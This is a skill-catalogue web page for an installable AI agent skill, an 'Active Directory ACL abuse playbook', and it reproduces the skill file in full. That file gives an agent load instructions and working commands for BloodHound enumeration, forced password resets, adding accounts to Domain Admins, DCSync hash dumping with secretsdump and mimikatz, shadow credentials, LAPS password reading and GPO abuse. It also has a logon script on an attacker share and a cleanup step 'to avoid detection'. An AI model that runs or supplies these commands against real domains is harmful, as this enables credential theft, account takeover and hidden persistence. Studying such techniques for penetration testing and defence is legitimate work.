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active-directory-acl-abuse

Active Directory ACL abuse playbook

Install / Use

npx skills add yaklang/hack-skills --skill active-directory-acl-abuse

Installs into whichever agent you are using.

About this skill
๐Ÿ“„

SKILL.md

Installable skill definition

Quality Score

86/100

Category

Security

Supported Platforms

Universal

Tags

Our assessment of active-directory-acl-abuse

active-directory-acl-abuse scores 86/100 on our quality scale, 735th of 1,108 Security skills we index.

Its SKILL.md is 9.2 KB long, well organised into 64 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so active-directory-acl-abuse is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ€” read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to steal credentials via DCSync (secretsdump.py, mimikatz lsadump::dcsync), shadow credentials (pywhisker.py/Whisker.exe), and LAPS password reading.

AI review: risky

  • Instructs the agent to steal credentials via DCSync (secretsdump.py, mimikatz lsadump::dcsync), shadow credentials (pywhisker.py/Whisker.exe), and LAPS password reading.
  • Directs the agent to take over accounts and systems by force-resetting passwords, adding itself to privileged groups, creating RBCD relationships, and abusing GPOs to add local admins/scheduled tasks.
  • Provides a decision tree whose explicit goal is escalating to Domain Admin through Active Directory compromise, which is credential theft and unauthorized access/persistence.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk โ€” read a skill before letting an agent act on it.

active-directory-acl-abuse compared with similar skills

All 4 of these similar skills score higher than active-directory-acl-abuse; compare them before choosing.

SkillScoreStarsUpdatedFormat
active-directory-acl-abuse (this skill)by yaklang862.3k2mo agoSKILL.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md
designby nextlevelbuilder100149.0k6d agoSKILL.md

Frequently asked questions

How do I install active-directory-acl-abuse?
Run npx skills add yaklang/hack-skills --skill active-directory-acl-abuse. The install tabs above show the steps for each supported agent.
Which AI agents does active-directory-acl-abuse work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is active-directory-acl-abuse safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to steal credentials via DCSync (secretsdump.py, mimikatz lsadump::dcsync), shadow credentials (pywhisker.py/Whisker.exe), and LAPS password reading. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is active-directory-acl-abuse still maintained?
The repository was last updated about 2 months ago, so active-directory-acl-abuse is actively maintained.

name: active-directory-acl-abuse description: >- Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

SKILL: AD ACL Abuse โ€” Expert Attack Playbook

AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.

0. RELATED ROUTING

Before going deep, consider loading:

Advanced Reference

Also load BLOODHOUND_PATHS.md when you need:

  • Common BloodHound attack paths with Cypher queries
  • Custom Neo4j queries for finding complex chains
  • Data collection and ingestion tips

1. BLOODHOUND ENUMERATION

Data Collection

# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip

# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP

# Specific collection methods
SharpHound.exe -c DCOnly          # Fastest โ€” only DC queries
SharpHound.exe -c Session         # Session data only (run periodically)
SharpHound.exe -c All,GPOLocalGroup  # Include GPO analysis

Key BloodHound Queries (Built-in)

  • "Find all Domain Admins"
  • "Shortest Paths to Domain Admins from Owned Principals"
  • "Find Principals with DCSync Rights"
  • "Shortest Paths to Unconstrained Delegation Systems"
  • "Find computers where Domain Users are Local Admin"

2. DANGEROUS ACE TYPES

| ACE | Effect on Users | Effect on Groups | Effect on Computers | |---|---|---|---| | GenericAll | Change password, set SPN, modify attributes | Add members | RBCD, LAPS read, all attributes | | GenericWrite | Set SPN, modify attributes, shadow creds | Add members | RBCD, shadow credentials | | WriteDACL | Grant yourself any permission | Same | Same | | WriteOwner | Take ownership โ†’ then WriteDACL | Same | Same | | ForceChangePassword | Reset password without knowing old | N/A | N/A | | AddMember | N/A | Add self/others to group | N/A | | AllExtendedRights | Force change password, read LAPS | N/A | Read LAPS, BitLocker keys | | ReadLAPSPassword | N/A | N/A | Read local admin password | | WriteSPN | Set SPN โ†’ targeted kerberoast | N/A | N/A |


3. ACE-SPECIFIC EXPLOITATION

GenericAll on User

# Option 1: Force change password
net user targetuser NewP@ss123 /domain

# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# โ†’ Kerberoast, then clear SPN

# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01

# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}

GenericAll / GenericWrite on Computer

# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC

# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC

WriteDACL

# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync

# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC

WriteOwner

# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv

# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All

# Step 3: Now exploit as GenericAll

ForceChangePassword

# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"

# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)

# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01

AddMember to Group

# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01

4. DCSYNC ATTACK

Prerequisites

The principal needs both of these replication rights on the domain object:

  • DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Execution

# Impacket โ€” dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc

# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv

# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc

Who Has DCSync by Default?

  • Domain Admins
  • Enterprise Admins
  • Domain Controllers group
  • BUILTIN\Administrators (on domain object)

5. SHADOW CREDENTIALS

Attack Flow

Write msDS-KeyCredentialLink on target โ†’ generate certificate โ†’ authenticate via PKINIT.

# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file

# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache

# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# โ†’ Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt

Cleanup: Remove the added key credential to avoid detection.


6. LAPS PASSWORD READING

# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime

# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText

# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps

7. GPO ABUSE

Identify Writable GPOs

# PowerView โ€” find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
    ($_.SecurityIdentifier -match 'YOUR_SID')
}

Exploit via SharpGPOAbuse

# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"

# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"

# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01

8. ACL ATTACK DECISION TREE

Have domain user access โ€” want to escalate via ACL
โ”‚
โ”œโ”€โ”€ Run BloodHound โ†’ analyze shortest paths to DA
โ”‚   โ””โ”€โ”€ Upload data โ†’ "Shortest Paths to Domain Admins from Owned Principals"
โ”‚
โ”œโ”€โ”€ Direct ACL on user object?
โ”‚   โ”œโ”€โ”€ GenericAll โ†’ force password change, shadow creds, or targeted kerberoast (ยง3)
โ”‚   โ”œโ”€โ”€ GenericWrite โ†’ shadow credentials or set SPN (ยง3/ยง5)
โ”‚   โ”œโ”€โ”€ ForceChangePassword โ†’ reset password directly (ยง3)
โ”‚   โ”œโ”€โ”€ WriteDACL โ†’ grant yourself GenericAll, then exploit (ยง3)
โ”‚   โ””โ”€โ”€ WriteOwner โ†’ take ownership โ†’ WriteDACL โ†’ GenericAll (ยง3)
โ”‚
โ”œโ”€โ”€ ACL on group?
โ”‚   โ”œโ”€โ”€ AddMember / GenericAll โ†’ add self to privileged group (ยง3)
โ”‚   โ””โ”€โ”€ WriteDACL โ†’ grant AddMember, then add self
โ”‚
โ”œโ”€โ”€ ACL on computer object?
โ”‚   โ”œโ”€โ”€ GenericAll/GenericWrite โ†’ RBCD attack (ยง3)
โ”‚   โ”œโ”€โ”€ AllExtendedRights โ†’ read LAPS password (ยง6)
โ”‚   โ””โ”€โ”€ GenericWrite โ†’ shadow credentials on machine (ยง5)
โ”‚
โ”œโ”€โ”€ ACL on domain object?
โ”‚   โ”œโ”€โ”€ WriteDACL โ†’ grant DCSync rights to self (ยง4)
โ”‚   โ””โ”€โ”€ Replication rights already? โ†’ DCSync directly (ยง4)
โ”‚
โ”œโ”€โ”€ ACL on GPO linked to privileged OU?
โ”‚   โ””โ”€โ”€ Write access โ†’ add admin / scheduled task via GPO (ยง7)
โ”‚
โ””โ”€โ”€ Complex multi-hop chain?
    โ””โ”€โ”€ Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis

Related Skills

View on GitHub
GitHub Stars2.3k
CategorySecurity
Updated2mo ago
Forks303

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Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit โ€” see the Safety scan above for what the skill file itself contains.

No cautions
active-directory-acl-abuse โ€” Universal Skill: Install & Safety Check | SkillAgent